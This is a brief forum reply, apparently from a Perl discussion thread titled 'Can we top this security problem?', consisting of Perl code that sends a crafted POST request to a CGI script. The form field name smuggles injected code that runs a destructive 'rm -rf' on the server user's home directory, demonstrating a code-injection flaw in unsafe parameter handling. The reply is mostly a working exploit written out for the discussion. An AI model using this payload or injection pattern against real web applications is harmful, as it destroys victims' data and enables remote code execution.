in reply to Can we top this security problem?

my $evil_code = q{system "/bin/rm", "-rf", $ENV{HOME};}; use LWP::UserAgent; use HTTP::Request::Common; LWP::UserAgent->new->simple_request( POST 'http://this.machine/url.for.evil.cgi', ["x; $evil_code; \$x" = +> "You lose"] );

-- Randal L. Schwartz, Perl hacker